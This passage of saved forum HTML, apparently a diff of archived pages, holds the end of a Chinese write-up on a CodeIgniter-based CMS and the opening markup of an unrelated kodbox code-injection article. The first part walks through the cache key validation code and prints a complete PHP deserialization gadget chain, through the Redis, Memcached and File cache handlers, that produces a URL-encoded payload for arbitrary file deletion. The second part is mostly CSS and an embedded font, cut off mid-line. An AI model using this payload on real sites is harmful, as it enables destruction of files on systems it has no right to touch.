<pre blockindex=66><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>validateKey</span>(<span class=hljs-params><span class=hljs-variable>$key</span>, <span class=hljs-variable>$prefix</span> = <span class=hljs-string>''</span></span>): <span class=hljs-title>string</span>
|
||||
</span>{
|
||||
<span class=hljs-keyword>if</span> (! is_string(<span class=hljs-variable>$key</span>)) {
|
||||
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> <span class=hljs-built_in>InvalidArgumentException</span>(<span class=hljs-string>'Cache key must be a string'</span>);
|
||||
}
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-variable>$key</span> === <span class=hljs-string>''</span>) {
|
||||
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> <span class=hljs-built_in>InvalidArgumentException</span>(<span class=hljs-string>'Cache key cannot be empty.'</span>);
|
||||
}
|
||||
|
||||
<span class=hljs-variable>$reserved</span> = config(<span class=hljs-string>'Cache'</span>)->reservedCharacters ?? <span class=hljs-built_in>self</span>::RESERVED_CHARACTERS;
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-variable>$reserved</span> && strpbrk(<span class=hljs-variable>$key</span>, <span class=hljs-variable>$reserved</span>) !== <span class=hljs-literal>false</span>) {
|
||||
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> <span class=hljs-built_in>InvalidArgumentException</span>(<span class=hljs-string>'Cache key contains reserved characters '</span> . <span class=hljs-variable>$reserved</span>);
|
||||
}
|
||||
|
||||
<span class=hljs-comment>// If the key with prefix exceeds the length then return the hashed version </span>
|
||||
<span class=hljs-keyword>return</span> strlen(<span class=hljs-variable>$prefix</span> . <span class=hljs-variable>$key</span>) > <span class=hljs-built_in>static</span>::MAX_KEY_LENGTH ? <span class=hljs-variable>$prefix</span> . md5(<span class=hljs-variable>$key</span>) : <span class=hljs-variable>$prefix</span> . <span class=hljs-variable>$key</span>;
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=67>这个方法,在确保传入的$key不为空,并且是字符串的前提下,才能正常进行下面操作</p>
|
||||
<pre blockindex=68><code class="hljs language-php"><span class=hljs-variable>$reserved</span> = config(<span class=hljs-string>'Cache'</span>)->reservedCharacters ?? <span class=hljs-built_in>self</span>::RESERVED_CHARACTERS;
|
||||
</code></pre>
|
||||
<p blockindex=69>获取配置中的保留字符列表。如果 <code>config('Cache')->reservedCharacters</code> 存在,则将其赋值给 <code>$reserved</code>;否则,使用 <code>self::RESERVED_CHARACTERS</code> 的默认值。</p>
|
||||
<pre blockindex=70><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-keyword>string</span> <span class=hljs-variable>$reservedCharacters</span> = <span class=hljs-string>'{}()/\\@:'</span>;
|
||||
</code></pre>
|
||||
<pre blockindex=71><code class="hljs language-php"><span class=hljs-keyword>return</span> strlen(<span class=hljs-variable>$prefix</span> . <span class=hljs-variable>$key</span>) > <span class=hljs-built_in>static</span>::MAX_KEY_LENGTH ? <span class=hljs-variable>$prefix</span> . md5(<span class=hljs-variable>$key</span>) : <span class=hljs-variable>$prefix</span> . <span class=hljs-variable>$key</span>;
|
||||
</code></pre>
|
||||
<ul blockindex=72>
|
||||
<li>首先,计算添加前缀后键的长度是否大于预定义的最大键长度 <code>static::MAX_KEY_LENGTH</code>。</li>
|
||||
<li>如果大于最大键长度,则返回将 <code>$prefix . md5($key)</code> 处理后的哈希值作为缓存键。这是为了确保最终返回的键不会超过最大键长度。</li>
|
||||
<li>如果小于等于最大键长度,则返回将 <code>$prefix . $key</code> 拼接作为缓存键</li>
|
||||
</ul>
|
||||
<p blockindex=73>经过测试,在delete方法中,如果传入<code>$key</code>为要删除的文件名,在经过<code>validateKey</code>处理后,不会对key照常改变,直接返回<code>key</code>,而<code>$this->prefix</code>不需要修改,默认就行</p>
|
||||
<p blockindex=74>在拼接文件路径的<code>$this->path</code> 可以是绝对路径,也可以是相对路径,默认是public目录下</p>
|
||||
<p blockindex=75>在写exp的过程中,遇到一个问题,就是类的属性都是<code>protected</code>类型的,不能直接修改值</p>
|
||||
<p blockindex=76>因为这个cms安装条件是PHP7.4+ , 由于<code>PHP7.1+</code>对属性类型不敏感 , 可以将<code>protected</code>修改为<code>public</code>类型</p>
|
||||
<h2 blockindex=77>最后的exp</h2>
|
||||
<pre blockindex=78><code class="hljs language-php"><span class=hljs-comment>//任意文件删除 </span>
|
||||
<span class=hljs-meta><?php</span>
|
||||
<span class=hljs-keyword>namespace</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Cache</span>\<span class=hljs-title>Handlers</span>;
|
||||
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>BaseHandler</span>;
|
||||
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>MemcachedHandler</span>;
|
||||
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>RedisHandler</span> <span class=hljs-keyword>extends</span> <span class=hljs-title>BaseHandler</span>
|
||||
</span>{
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-variable>$redis</span>;
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__construct</span>(<span class=hljs-params></span>)
|
||||
</span>{
|
||||
<span class=hljs-keyword>$this</span>->redis =<span class=hljs-keyword>new</span> MemcachedHandler();
|
||||
}
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>namespace</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>;
|
||||
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>BaseHandler</span>;
|
||||
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Cache</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>FileHandler</span>;
|
||||
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>MemcachedHandler</span> <span class=hljs-keyword>extends</span> <span class=hljs-title>BaseHandler</span>
|
||||
</span>{
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-variable>$memcached</span> ;
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-variable>$lockKey</span> ;
|
||||
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__construct</span>(<span class=hljs-params></span>)
|
||||
</span>{
|
||||
<span class=hljs-keyword>$this</span>->memcached=<span class=hljs-keyword>new</span> FileHandler();
|
||||
<span class=hljs-keyword>$this</span>->lockKey = <span class=hljs-string>"1.txt"</span>; <span class=hljs-comment>//文件名 </span>
|
||||
}
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>namespace</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>;
|
||||
<span class=hljs-keyword>abstract</span> <span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>BaseHandler</span>
|
||||
</span>{
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>namespace</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Cache</span>\<span class=hljs-title>Handlers</span>;
|
||||
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>BaseHandler</span>;
|
||||
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>FileHandler</span> <span class=hljs-keyword>extends</span> <span class=hljs-title>BaseHandler</span>
|
||||
</span>{
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-variable>$path</span>;
|
||||
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__construct</span>(<span class=hljs-params></span>)
|
||||
</span>{
|
||||
<span class=hljs-keyword>$this</span>->path=<span class=hljs-string>"./"</span>; <span class=hljs-comment>//路径 </span>
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Cache</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>RedisHandler</span>;
|
||||
<span class=hljs-variable>$str</span> = serialize(<span class=hljs-keyword>new</span> RedisHandler());
|
||||
<span class=hljs-variable>$newStr</span> = str\_replace(<span class=hljs-string>'\\'</span>, <span class=hljs-string>'\\\\'</span>, <span class=hljs-variable>$str</span>);
|
||||
<span class=hljs-keyword>echo</span> urlencode(<span class=hljs-variable>$newStr</span>).<span class=hljs-string>"\n"</span>;
|
||||
</code></pre>
|
||||
<h2 blockindex=79>END</h2></div></div>
|
||||
</div>
|
||||
<div class="post-opt mt-30">
|
||||
<ul class="list-inline text-muted">
|
||||
<li>
|
||||
<i class="fa fa-clock-o"></i>
|
||||
发表于 2024-03-13 09:44:03
|
||||
</li>
|
||||
|
||||
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,374 @@
|
||||
<!DOCTYPE html> <html><!--
|
||||
Page saved with SingleFile
|
||||
url: https://forum.butian.net/share/2777
|
||||
--><meta charset=utf-8>
|
||||
<meta http-equiv=X-UA-Compatible content="IE=edge">
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name=csrf-token content=6DiaTw3cmpRg7n5JC6o5iNJy4SzHIbwrWcBYu5yF>
|
||||
<title>kodbox代码注入漏洞复现与分析</title>
|
||||
<meta name=keywords content=奇安信,天眼,补天,漏洞,情报,攻防,安全>
|
||||
<meta name=description content=奇安信攻防社区-某cms代码注入漏洞复现与分析>
|
||||
<meta name=author content="QIANXIN Team">
|
||||
<meta name=copyright content="2021 QIANXIN.com">
|
||||
<style>@media(max-width:767px){}</style>
|
||||
<style>/*!
|
||||
* Bootstrap v3.4.1 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2019 Twitter, Inc.
|
||||
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
*//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a:active,a:hover{outline:0}img{border:0}textarea{color:inherit;font:inherit;margin:0}textarea{overflow:auto}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0)}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}h1,h3{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h3{margin-top:20px;margin-bottom:10px}h3{font-size:24px}p{margin:0 0 10px}@media(min-width:768px){}.text-muted{color:#777}ul{margin-top:0;margin-bottom:10px}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}@media(min-width:768px){}code{color:#c7254e}pre{display:block;margin:0 0 10px;color:#333;word-break:break-all;border:1px solid #ccc}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.row{margin-right:-15px;margin-left:-15px}.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-12{float:left}.col-xs-12{width:100%}@media(min-width:768px){}@media(min-width:992px){.col-md-9{float:left}}@media(min-width:1200px){}@media screen and (max-width:767px){}@media screen and (-webkit-min-device-pixel-ratio:0){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-device-width:480px) and (orientation:landscape){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:768px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media screen and (min-width:768px){}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@media(min-width:768px){}@media(min-width:992px){}@media all and (transform-3d),(-webkit-transform-3d){}@media screen and (min-width:768px){}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}@-ms-viewport{width:device-width}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(min-width:1200px){}@media(max-width:767px){}@media(min-width:768px) and (max-width:991px){}@media(min-width:992px) and (max-width:1199px){}@media(min-width:1200px){}</style>
|
||||
<style>/*!
|
||||
* Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@font-face{font-family:"FontAwesome";src:url(data:font/woff2;base64,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 truncated
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.mt-30{margin-top:30px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-comment,.hljs-variable{color:green}.hljs-keyword{color:#00f}.hljs-literal,.hljs-string,.hljs-title{color:#a31515}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body strong{font-weight:600}.markdown-body h1{margin:.67em 0;padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body h1{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body p,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body code{padding:.2em 